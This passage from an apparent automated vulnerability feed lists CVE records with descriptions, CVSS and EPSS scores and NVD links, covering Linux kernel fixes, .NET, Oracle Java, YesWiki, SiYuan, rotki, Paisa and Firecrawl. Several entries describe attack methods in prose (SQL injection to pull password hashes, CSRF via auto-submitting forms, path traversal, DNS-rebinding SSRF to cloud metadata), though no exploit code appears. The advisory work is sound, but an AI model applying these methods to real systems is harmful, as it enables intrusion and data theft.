pointer to the now-freed steam struct.

This also puts work canceling for rumble and mode switch in
steam_unregister, as that shouldn't persist while the client hdev is open.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: HID: steam: Refactor registration
https://kevwire.com/record/CVE-2026-98944
Linux kernel: HID: steam: Refactor registration (Oct 23, 2026).
In the Linux kernel, the following vulnerability has been resolved:

HID: steam: Refactor registration

This refactors and simplifies the registration/unregistration flow. Since
we now only perform registration when the client isn't opened anymore, the
logic for handling that can be removed, and the rest of the function
streamlined.

We also remove the previous assumption that we have a serial number to show
we're registered, replacing it with a single purpose boolean.

In a previous refactor the code for unregistering a battery if later
registration steps failed was accidentally left out. As a result, a
lingering power_supply object could get left over after the steam object
was torn down. This is also fixed here.
CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98944).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98944&date=2026-10-25).
Sources:
NVD CVE-2026-98944: https://nvd.nist.gov/vuln/detail/CVE-2026-98944
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98944&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

HID: steam: Refactor registration

This refactors and simplifies the registration/unregistration flow. Since
we now only perform registration when the client isn't opened anymore, the
logic for handling that can be removed, and the rest of the function
streamlined.

We also remove the previous assumption that we have a serial number to show
we're registered, replacing it with a single purpose boolean.

In a previous refactor the code for unregistering a battery if later
registration steps failed was accidentally left out. As a result, a
lingering power_supply object could get left over after the steam object
was torn down. This is also fixed here.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: dpaa2-switch: fix the error path in dpaa2_switch_rx()
https://kevwire.com/record/CVE-2026-98911
Linux kernel: dpaa2-switch: fix the error path in dpaa2_switch_rx() (Oct 23, 2026).
In the Linux kernel, the following vulnerability has been resolved:

dpaa2-switch: fix the error path in dpaa2_switch_rx()

In case of an error in dpaa2_switch_rx(), the dpaa2_switch_free_fd()
function is called in order to free the FD. This is incorrect since the
dpaa2_switch_free_fd() is intended to be used on Tx frame descriptors,
meaning that it expects in the software annotation area of the FD data
to find a valid skb pointer on which to call dev_kfree_skb().

Fix this by extracting the dma_unmap_page() from
dpaa2_switch_build_linear_skb() directly into the dpaa2_switch_rx()
function. This allows us to directly use free_pages() in case of an
error before an SKB was created and kfree_skb() afterwards.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98911).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98911&date=2026-10-25).
Sources:
NVD CVE-2026-98911: https://nvd.nist.gov/vuln/detail/CVE-2026-98911
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98911&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

dpaa2-switch: fix the error path in dpaa2_switch_rx()

In case of an error in dpaa2_switch_rx(), the dpaa2_switch_free_fd()
function is called in order to free the FD. This is incorrect since the
dpaa2_switch_free_fd() is intended to be used on Tx frame descriptors,
meaning that it expects in the software annotation area of the FD data
to find a valid skb pointer on which to call dev_kfree_skb().

Fix this by extracting the dma_unmap_page() from
dpaa2_switch_build_linear_skb() directly into the dpaa2_switch_rx()
function. This allows us to directly use free_pages() in case of an
error before an SKB was created and kfree_skb() afterwards.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: netfilter: ipset: mark the rcu locked areas properly
https://kevwire.com/record/CVE-2026-98899
Linux kernel: netfilter: ipset: mark the rcu locked areas properly (Oct 23, 2026).
In the Linux kernel, the following vulnerability has been resolved:

netfilter: ipset: mark the rcu locked areas properly

When we bump the uref counter, there's no need to keep
the rcu lock because the referred hash table can't
disappear. Also, from the same reason in mtype_gc we
need the rcu lock and not a spinlock.
CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98899).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98899&date=2026-10-25).
Sources:
NVD CVE-2026-98899: https://nvd.nist.gov/vuln/detail/CVE-2026-98899
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98899&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

netfilter: ipset: mark the rcu locked areas properly

When we bump the uref counter, there's no need to keep
the rcu lock because the referred hash table can't
disappear. Also, from the same reason in mtype_gc we
need the rcu lock and not a spinlock.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: net/mlx5: HWS, Handle destroying table that has a miss table
https://kevwire.com/record/CVE-2026-98895
Linux kernel: net/mlx5: HWS, Handle destroying table that has a miss table (Oct 23, 2026).
In the Linux kernel, the following vulnerability has been resolved:

net/mlx5: HWS, Handle destroying table that has a miss table

If a table has a miss table that was created by
'mlx5hws_table_set_default_miss' API function, its miss_tbl
keeps the table that points to it in a list.
If such table is deleted, we need to also remove it from the
miss_tbl list, otherwise the node in miss_tbl list will contain
garbage.
CVSS 7.0 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98895).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98895&date=2026-10-25).
Sources:
NVD CVE-2026-98895: https://nvd.nist.gov/vuln/detail/CVE-2026-98895
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98895&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

net/mlx5: HWS, Handle destroying table that has a miss table

If a table has a miss table that was created by
'mlx5hws_table_set_default_miss' API function, its miss_tbl
keeps the table that points to it in a list.
If such table is deleted, we need to also remove it from the
miss_tbl list, otherwise the node in miss_tbl list will contain
garbage.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: wifi: iwlwifi: mvm: fix sched scan IE sizing
https://kevwire.com/record/CVE-2026-98889
Linux kernel: wifi: iwlwifi: mvm: fix sched scan IE sizing (Oct 23, 2026).
In the Linux kernel, the following vulnerability has been resolved:

wifi: iwlwifi: mvm: fix sched scan IE sizing

Scheduled scan built the probe request before iwl_mvm_scan_fits(),
so oversized IEs could be copied into the fixed preq buffer before
length validation. Move iwl_mvm_build_scan_probe() after the fits
check.

Also advertise max_sched_scan_ie_len using iwl_mvm_max_scan_ie_len()
so userspace limits account for driver-inserted DS/TPC bytes.
CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98889).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98889&date=2026-10-25).
Sources:
NVD CVE-2026-98889: https://nvd.nist.gov/vuln/detail/CVE-2026-98889
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98889&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

wifi: iwlwifi: mvm: fix sched scan IE sizing

Scheduled scan built the probe request before iwl_mvm_scan_fits(),
so oversized IEs could be copied into the fixed preq buffer before
length validation. Move iwl_mvm_build_scan_probe() after the fits
check.

Also advertise max_sched_scan_ie_len using iwl_mvm_max_scan_ie_len()
so userspace limits account for driver-inserted DS/TPC bytes.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: accel/amdxdna: Disable device buffer exporting
https://kevwire.com/record/CVE-2026-98436
Linux kernel: accel/amdxdna: Disable device buffer exporting (Oct 18, 2026).
In the Linux kernel, the following vulnerability has been resolved:

accel/amdxdna: Disable device buffer exporting

Device buffers are never intended to be exported. Disable exporting
support explicitly.
CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98436).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98436&date=2026-10-25).
Sources:
NVD CVE-2026-98436: https://nvd.nist.gov/vuln/detail/CVE-2026-98436
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98436&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

accel/amdxdna: Disable device buffer exporting

Device buffers are never intended to be exported. Disable exporting
support explicitly.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: Bluetooth: ISO: Copy BASE if service data matches EIR_BAA_SERVICE_UUID
https://kevwire.com/record/CVE-2023-7356
Linux kernel: Bluetooth: ISO: Copy BASE if service data matches EIR_BAA_SERVICE_UUID (Oct 21, 2026).
In the Linux kernel, the following vulnerability has been resolved:

Bluetooth: ISO: Copy BASE if service data matches EIR_BAA_SERVICE_UUID

Copy the content of a Periodic Advertisement Report to BASE only if
the service UUID is Basic Audio Announcement Service UUID.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2023-7356).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-7356&date=2026-10-25).
Sources:
NVD CVE-2023-7356: https://nvd.nist.gov/vuln/detail/CVE-2023-7356
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-7356&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

Bluetooth: ISO: Copy BASE if service data matches EIR_BAA_SERVICE_UUID

Copy the content of a Periodic Advertisement Report to BASE only if
the service UUID is Basic Audio Announcement Service UUID.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds write in .NET allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-70197
Out-of-bounds write in .NET allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Out-of-bounds write in .NET allows an unauthorized attacker to execute code over a network.
CVSS 8.1 (version 3.1; evidence as of Oct 25, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70197).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70197&date=2026-10-25).
Sources:
NVD CVE-2026-70197: https://nvd.nist.gov/vuln/detail/CVE-2026-70197
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70197&date=2026-10-25
Out-of-bounds write in .NET allows an unauthorized attacker to execute code over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper control of generation of code ('code injection') in ASP.NET Core allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-102870
Improper control of generation of code ('code injection') in ASP.NET Core allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Improper control of generation of code ('code injection') in ASP.NET Core allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 25, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102870).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102870&date=2026-10-25).
Sources:
NVD CVE-2026-102870: https://nvd.nist.gov/vuln/detail/CVE-2026-102870
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102870&date=2026-10-25
Improper control of generation of code ('code injection') in ASP.NET Core allows an unauthorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### YesWiki 4.5.0 before 4.7.0 contains an SQL injection vulnerability in PageManager::save(), where the date_maj_fiche field of a Bazar entry-creation request is concatenated...
https://kevwire.com/record/CVE-2026-116211
YesWiki 4.5.0 before 4.7.0 contains an SQL injection vulnerability in PageManager::save(), where the date_maj_fiche field of a Bazar entry-creation request is concatenated... (Oct 25, 2026).
YesWiki 4.5.0 before 4.7.0 contains an SQL injection vulnerability in PageManager::save(), where the date_maj_fiche field of a Bazar entry-creation request is concatenated unescaped into an INSERT statement. Unauthenticated attackers on default installs can inject a sub-SELECT against wiki_users to exfiltrate password hashes.
CVSS 8.8 (version 4.0; evidence as of Oct 25, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116211).
Sources:
NVD CVE-2026-116211: https://nvd.nist.gov/vuln/detail/CVE-2026-116211
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
YesWiki 4.5.0 before 4.7.0 contains an SQL injection vulnerability in PageManager::save(), where the date_maj_fiche field of a Bazar entry-creation request is concatenated unescaped into an INSERT statement. Unauthenticated attackers on default installs can inject a sub-SELECT against wiki_users to exfiltrate password hashes.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### YesWiki from 4.6.2 before 4.7.0 contains a missing authorization vulnerability in ActivityPubService::syncActorPosts that lets malicious ActivityPub servers manipulate other...
https://kevwire.com/record/CVE-2026-116208
YesWiki from 4.6.2 before 4.7.0 contains a missing authorization vulnerability in ActivityPubService::syncActorPosts that lets malicious ActivityPub servers manipulate other... (Oct 25, 2026).
YesWiki from 4.6.2 before 4.7.0 contains a missing authorization vulnerability in ActivityPubService::syncActorPosts that lets malicious ActivityPub servers manipulate other actors' mirrored entries. Attackers can serve a poisoned outbox with cross-actor Delete, Update, or Create activities during admin-initiated sync to delete, overwrite, forge, or mass-delete entries.
CVSS 7.2 (version 4.0; evidence as of Oct 25, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116208).
Sources:
NVD CVE-2026-116208: https://nvd.nist.gov/vuln/detail/CVE-2026-116208
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
YesWiki from 4.6.2 before 4.7.0 contains a missing authorization vulnerability in ActivityPubService::syncActorPosts that lets malicious ActivityPub servers manipulate other actors' mirrored entries. Attackers can serve a poisoned outbox with cross-actor Delete, Update, or Create activities during admin-initiated sync to delete, overwrite, forge, or mass-delete entries.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### YesWiki before 4.7.0 contains a cross-site request forgery vulnerability in the despam action (tools/security/actions/despam.php) that lets unauthenticated attackers delete or...
https://kevwire.com/record/CVE-2026-116204
YesWiki before 4.7.0 contains a cross-site request forgery vulnerability in the despam action (tools/security/actions/despam.php) that lets unauthenticated attackers delete or... (Oct 25, 2026).
YesWiki before 4.7.0 contains a cross-site request forgery vulnerability in the despam action (tools/security/actions/despam.php) that lets unauthenticated attackers delete or restore pages through an administrator's session. Attackers can plant an auto-submitting raw HTML form on a wiki page, so an administrator who views it posts clean, suppr[], or rev[] parameters that delete PagePrincipale, configuration pages, or overwrite current content.
CVSS 7.2 (version 4.0; evidence as of Oct 25, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116204).
Sources:
NVD CVE-2026-116204: https://nvd.nist.gov/vuln/detail/CVE-2026-116204
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
YesWiki before 4.7.0 contains a cross-site request forgery vulnerability in the despam action (tools/security/actions/despam.php) that lets unauthenticated attackers delete or restore pages through an administrator's session. Attackers can plant an auto-submitting raw HTML form on a wiki page, so an administrator who views it posts clean, suppr[], or rev[] parameters that delete PagePrincipale, configuration pages, or overwrite current content.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SiYuan 3.6.0 before 3.8.7 accepts and persists the networkServeTLS setting but never enforces it, so the kernel port keeps serving full API access over plain HTTP alongside HTTPS.
https://kevwire.com/record/CVE-2026-116166
SiYuan 3.6.0 before 3.8.7 accepts and persists the networkServeTLS setting but never enforces it, so the kernel port keeps serving full API access over plain HTTP alongside HTTPS. (Oct 25, 2026).
SiYuan 3.6.0 before 3.8.7 accepts and persists the networkServeTLS setting but never enforces it, so the kernel port keeps serving full API access over plain HTTP alongside HTTPS. Network-adjacent attackers can sniff the cleartext login flow and session cookie, which lacks the Secure attribute while responses omit HSTS, to hijack kernel API sessions.
CVSS 7.6 (version 4.0; evidence as of Oct 25, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116166).
Sources:
NVD CVE-2026-116166: https://nvd.nist.gov/vuln/detail/CVE-2026-116166
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
SiYuan 3.6.0 before 3.8.7 accepts and persists the networkServeTLS setting but never enforces it, so the kernel port keeps serving full API access over plain HTTP alongside HTTPS. Network-adjacent attackers can sniff the cleartext login flow and session cookie, which lacks the Secure attribute while responses omit HSTS, to hijack kernel API sessions.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### rotki before 1.44.2 contains a weak key derivation vulnerability that allows attackers to brute-force backups because the premium sync key is a single unsalted SHA-256 of the user...
https://kevwire.com/record/CVE-2026-116071
rotki before 1.44.2 contains a weak key derivation vulnerability that allows attackers to brute-force backups because the premium sync key is a single unsalted SHA-256 of the user... (Oct 25, 2026).
rotki before 1.44.2 contains a weak key derivation vulnerability that allows attackers to brute-force backups because the premium sync key is a single unsalted SHA-256 of the user password. Attackers who obtain an uploaded backup blob can run GPU-parallel offline password guessing and decrypt the database containing exchange API keys, secrets, wallet addresses and transaction history.
CVSS 8.2 (version 4.0; evidence as of Oct 25, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116071).
Sources:
NVD CVE-2026-116071: https://nvd.nist.gov/vuln/detail/CVE-2026-116071
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
rotki before 1.44.2 contains a weak key derivation vulnerability that allows attackers to brute-force backups because the premium sync key is a single unsalted SHA-256 of the user password. Attackers who obtain an uploaded backup blob can run GPU-parallel offline password guessing and decrypt the database containing exchange API keys, secrets, wallet addresses and transaction history.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Paisa before 0.7.8 contains a path traversal vulnerability in the GetFile, GetSheet, DeleteBackups, and DeleteSheetBackups handlers that lets unauthenticated attackers read files...
https://kevwire.com/record/CVE-2026-116067
Paisa before 0.7.8 contains a path traversal vulnerability in the GetFile, GetSheet, DeleteBackups, and DeleteSheetBackups handlers that lets unauthenticated attackers read files... (Oct 25, 2026).
Paisa before 0.7.8 contains a path traversal vulnerability in the GetFile, GetSheet, DeleteBackups, and DeleteSheetBackups handlers that lets unauthenticated attackers read files and delete backups through ../ sequences in file names. Attackers can send crafted names to the editor file and delete_backups endpoints to read any server-readable file and remove backup files outside the journal or sheets directory.
CVSS 8.8 (version 4.0; evidence as of Oct 25, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116067).
Sources:
NVD CVE-2026-116067: https://nvd.nist.gov/vuln/detail/CVE-2026-116067
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
Paisa before 0.7.8 contains a path traversal vulnerability in the GetFile, GetSheet, DeleteBackups, and DeleteSheetBackups handlers that lets unauthenticated attackers read files and delete backups through ../ sequences in file names. Attackers can send crafted names to the editor file and delete_backups endpoints to read any server-readable file and remove backup files outside the journal or sheets directory.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Firecrawl before 2.11.586 contains a server-side request forgery vulnerability in the Playwright service SSRF proxy that allows attackers to bypass isInternalHost checks via DNS...
https://kevwire.com/record/CVE-2026-116066
Firecrawl before 2.11.586 contains a server-side request forgery vulnerability in the Playwright service SSRF proxy that allows attackers to bypass isInternalHost checks via DNS... (Oct 25, 2026).
Firecrawl before 2.11.586 contains a server-side request forgery vulnerability in the Playwright service SSRF proxy that allows attackers to bypass isInternalHost checks via DNS rebinding. Attackers controlling DNS for a scrape target can return a public address during validation and a private address at connect time, retrieving cloud metadata and internal resources through the scrape API.
CVSS 7.0 (version 4.0; evidence as of Oct 25, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116066).
Sources:
NVD CVE-2026-116066: https://nvd.nist.gov/vuln/detail/CVE-2026-116066
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
Firecrawl before 2.11.586 contains a server-side request forgery vulnerability in the Playwright service SSRF proxy that allows attackers to bypass isInternalHost checks via DNS rebinding. Attackers controlling DNS for a scrape target can return a public address during validation and a private address at connect time, retrieving cloud metadata and internal resources through the scrape API.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was detected in YunaiV/zhijiantianya ruoyi-vue-pro up to 2026.09. The affected element is an unknown function of the file AuthController.java of the component SMS...
https://kevwire.com/record/CVE-2026-116006
A vulnerability was detected in YunaiV/zhijiantianya ruoyi-vue-pro up to 2026.09. The affected element is an unknown function of the file AuthController.java of the component SMS... (Oct 25, 2026).
A vulnerability was detected in YunaiV/zhijiantianya ruoyi-vue-pro up to 2026.09. The affected element is an unknown function of the file AuthController.java of the component SMS Code Verification. The manipulation of the argument mobile/code results in improper authentication. The attack can be launched remotely. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
CVSS 5.5 (version 4.0; evidence as of Oct 25, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116006).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-116006&date=2026-10-25).
Sources:
NVD CVE-2026-116006: https://nvd.nist.gov/vuln/detail/CVE-2026-116006
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-116006&date=2026-10-25
A vulnerability was detected in YunaiV/zhijiantianya ruoyi-vue-pro up to 2026.09. The affected element is an unknown function of the file AuthController.java of the component SMS Code Verification. The manipulation of the argument mobile/code results in improper authentication. The attack can be launched remotely. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: JSSE).
https://kevwire.com/record/CVE-2026-91403
Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: JSSE). (Oct 21, 2026).
Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: JSSE).  Supported versions that are affected are Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1; Oracle GraalVM for JDK: 17.0.21 and  21.0.13; Oracle GraalVM Enterprise Edition: 21.3.20. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data as well as  unauthorized access to critical data or complete access to all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).
CVSS 9.1 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91403).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91403&date=2026-10-25).
Sources:
NVD CVE-2026-91403: https://nvd.nist.gov/vuln/detail/CVE-2026-91403
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91403&date=2026-10-25
Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: JSSE).  Supported versions that are affected are Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1; Oracle GraalVM for JDK: 17.0.21 and  21.0.13; Oracle GraalVM Enterprise Edition: 21.3.20. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data as well as  unauthorized access to critical data or complete access to all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code 